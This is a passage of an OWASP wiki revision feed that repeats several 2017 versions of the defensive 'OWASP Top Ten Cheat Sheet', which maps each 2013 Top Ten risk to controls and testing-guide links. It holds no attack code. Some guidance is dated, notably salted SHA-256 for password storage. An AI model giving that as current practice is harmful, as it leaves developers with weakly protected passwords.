*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to view secured URL.&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
||&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform secured action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
&lt;br /&gt;
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: Assume attackers '''will''' learn where &amp;quot;hidden&amp;quot; directories and &amp;quot;random&amp;quot; filenames are, so do not store these files in the web root, even if they are not directly linked.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A8 Cross Site Request Forgery'''&lt;br /&gt;
||''Pre-render:''&lt;br /&gt;
*Validate user is authenticated&lt;br /&gt;
*Validate role is sufficient for this view&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
||&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate role is sufficient.&lt;br /&gt;
&lt;br /&gt;
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A9 Using Components with Known Vulnerabilities'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A10 Unvalidated Redirects and Forwards'''&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Use random indirect object references for redirection parameters.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
*Obtain direct redirection parameter from random indirect reference access map.&lt;br /&gt;
*(LR) Positive validation of redirection parameter.&lt;br /&gt;
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Andrew van der Stock vanderaj[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
Ismael Rocha Gonçalves ismaelrg[at]gmail.com&lt;br /&gt;
&lt;br /&gt;
Jorge Correa jacorream@gmail.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231991</id>
		<title>OWASP Top Ten Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231991"/>
				<updated>2017-08-02T23:25:11Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Cheat Sheet =&lt;br /&gt;
&lt;br /&gt;
{| border=1&lt;br /&gt;
| &lt;br /&gt;
||'''Presentation'''&lt;br /&gt;
||'''Controller'''&lt;br /&gt;
||'''Model'''&lt;br /&gt;
||'''Testing (OWASP Testing Guide V4)'''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A1 Injection'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set a correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation.&lt;br /&gt;
(LR) Sanitize input.&lt;br /&gt;
&lt;br /&gt;
''Tip: updating a negative list (such as looking for &amp;quot;script&amp;quot;, &amp;quot;sCrIpT&amp;quot;, &amp;quot;ßCrîpt&amp;quot;, etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of &amp;quot;bad&amp;quot; words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''&lt;br /&gt;
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''&lt;br /&gt;
&lt;br /&gt;
*Object relational model (Hibernate).&lt;br /&gt;
*Active Record design pattern.&lt;br /&gt;
*Stored procedures.&lt;br /&gt;
&lt;br /&gt;
*Escape mechanisms such as ESAPI's Encoder:&lt;br /&gt;
**EncodeForLDAP()&lt;br /&gt;
**Encoder.EncodeforOS()&lt;br /&gt;
&lt;br /&gt;
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for SQL Injection (OTG-INPVAL-005)]]&lt;br /&gt;
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]&lt;br /&gt;
* [[Testing for ORM Injection (OTG-INPVAL-007)]]&lt;br /&gt;
* [[Testing for XML Injection (OTG-INPVAL-008)]]&lt;br /&gt;
* [[Testing for SSI Injection (OTG-INPVAL-009)]]&lt;br /&gt;
* [[Testing for XPath Injection (OTG-INPVAL-010)]]&lt;br /&gt;
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]&lt;br /&gt;
* [[Testing for Code Injection (OTG-INPVAL-012)]]&lt;br /&gt;
* [[Testing for Command Injection (OTG-INPVAL-013)]]&lt;br /&gt;
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A2 Weak authentication and session management'''&lt;br /&gt;
||''Render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient for this view.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
*Send CSRF token with forms.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Only use inbuilt session management.&lt;br /&gt;
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.&lt;br /&gt;
&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
''Tip: Consider the use of a &amp;quot;governor&amp;quot; to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Role_Definitions_(OTG-IDENT-001) Test Role Definitions (OTG-IDENT-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_User_Registration_Process_(OTG-IDENT-002) Test User Registration Process (OTG-IDENT-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Account_Provisioning_Process_(OTG-IDENT-003) Test Account Provisioning Process (OTG-IDENT-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Account_Enumeration_and_Guessable_User_Account_(OTG-IDENT-004) Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_or_unenforced_username_policy_(OTG-IDENT-005) Testing for Weak or unenforced username policy (OTG-IDENT-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_default_credentials_(OTG-AUTHN-002) Testing for default credentials (OTG-AUTHN-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003) Testing for Weak lock out mechanism (OTG-AUTHN-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Vulnerable_Remember_Password_(OTG-AUTHN-005) Test remember password functionality (OTG-AUTHN-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006) Testing for Browser cache weakness (OTG-AUTHN-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_password_policy_(OTG-AUTHN-007) Testing for Weak password policy (OTG-AUTHN-007)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_security_question/answer_(OTG-AUTHN-008) Testing for Weak security question/answer (OTG-AUTHN-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_weak_password_change_or_reset_functionalities_(OTG-AUTHN-009) Testing for weak password change or reset functionalities (OTG-AUTHN-009)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weaker_authentication_in_alternative_channel_(OTG-AUTHN-010) Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003) Testing for Privilege Escalation (OTG-AUTHZ-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Session_Management_Schema_(OTG-SESS-001) Testing for Bypassing Session Management Schema (OTG-SESS-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002) Testing for Cookies attributes (OTG-SESS-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Session_Fixation_(OTG-SESS-003) Testing for Session Fixation (OTG-SESS-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005) Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_logout_functionality_(OTG-SESS-006) Testing for logout functionality (OTG-SESS-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Session_Timeout_(OTG-SESS-007) Test Session Timeout (OTG-SESS-007)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Session_puzzling_(OTG-SESS-008) Testing for Session puzzling (OTG-SESS-008)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A3 XSS'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
*Output encode all user data as per output context&lt;br /&gt;
*Set input constraints&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation &lt;br /&gt;
(LR) Sanitize input &lt;br /&gt;
&lt;br /&gt;
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''&lt;br /&gt;
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''&lt;br /&gt;
&lt;br /&gt;
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001) Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001) Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_JavaScript_Execution_(OTG-CLIENT-002) Testing for JavaScript Execution (OTG-CLIENT-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_HTML_Injection_(OTG-CLIENT-003) Testing for HTML Injection (OTG-CLIENT-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Cross_site_flashing_(OTG-CLIENT-008) Testing for Cross Site Flashing (OTG-CLIENT-008)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A4 Insecure Direct Object References'''&lt;br /&gt;
||If data is from internal trusted sources, no data is sent.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send indirect random access reference map value.&lt;br /&gt;
||Obtain data from internal, trusted sources.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
Obtain direct value from random access reference access map.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004) Testing for Insecure Direct Object References (OTG-AUTHZ-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion Testing for Local File Inclusion]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion Testing for Remote File Inclusion]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A5 Security Misconfiguration'''&lt;br /&gt;
||Ensure web servers and application servers are hardened.&lt;br /&gt;
&lt;br /&gt;
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension &lt;br /&gt;
||Ensure web servers and application servers are hardened &lt;br /&gt;
&lt;br /&gt;
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. &lt;br /&gt;
||Ensure database servers are hardened &lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A6 Sensitive Data Exposure'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Use TLS 1.2 or later for all web communications.&lt;br /&gt;
*Buy extended validation (EV) certificates for public web servers.&lt;br /&gt;
&lt;br /&gt;
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Do not send keys or hashes to the browser.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: It is best to encrypt data on the application server, rather than the database server.''&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
&lt;br /&gt;
*Mandate strong encrypted communications with application servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being &amp;quot;encrypted&amp;quot; on disk. ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Padding_Oracle_(OTG-CRYPST-002) Testing for Padding Oracle (OTG-CRYPST-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003) Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007) Test HTTP Strict Transport Security (OTG-CONFIG-007)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A7 Missing Function Level Access Control'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Ensure all non-web data is outside the web root (logs, configuration, etc).&lt;br /&gt;
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.&lt;br /&gt;
*Ensure every page requires a role, even if it is &amp;quot;guest&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
''Pre-render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to view secured URL.&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
||&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform secured action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
&lt;br /&gt;
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: Assume attackers '''will''' learn where &amp;quot;hidden&amp;quot; directories and &amp;quot;random&amp;quot; filenames are, so do not store these files in the web root, even if they are not directly linked.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A8 Cross Site Request Forgery'''&lt;br /&gt;
||''Pre-render:''&lt;br /&gt;
*Validate user is authenticated&lt;br /&gt;
*Validate role is sufficient for this view&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
||&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate role is sufficient.&lt;br /&gt;
&lt;br /&gt;
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005) Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A9 Using Components with Known Vulnerabilities'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A10 Unvalidated Redirects and Forwards'''&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Use random indirect object references for redirection parameters.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
*Obtain direct redirection parameter from random indirect reference access map.&lt;br /&gt;
*(LR) Positive validation of redirection parameter.&lt;br /&gt;
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Andrew van der Stock vanderaj[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
Ismael Rocha Gonçalves ismaelrg[at]gmail.com&lt;br /&gt;
&lt;br /&gt;
Jorge Correa jacorream@gmail.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231990</id>
		<title>OWASP Top Ten Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231990"/>
				<updated>2017-08-02T23:24:28Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Cheat Sheet =&lt;br /&gt;
&lt;br /&gt;
{| border=1&lt;br /&gt;
| &lt;br /&gt;
||'''Presentation'''&lt;br /&gt;
||'''Controller'''&lt;br /&gt;
||'''Model'''&lt;br /&gt;
||'''Testing (OWASP Testing Guide V4)'''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A1 Injection'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set a correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation.&lt;br /&gt;
(LR) Sanitize input.&lt;br /&gt;
&lt;br /&gt;
''Tip: updating a negative list (such as looking for &amp;quot;script&amp;quot;, &amp;quot;sCrIpT&amp;quot;, &amp;quot;ßCrîpt&amp;quot;, etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of &amp;quot;bad&amp;quot; words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''&lt;br /&gt;
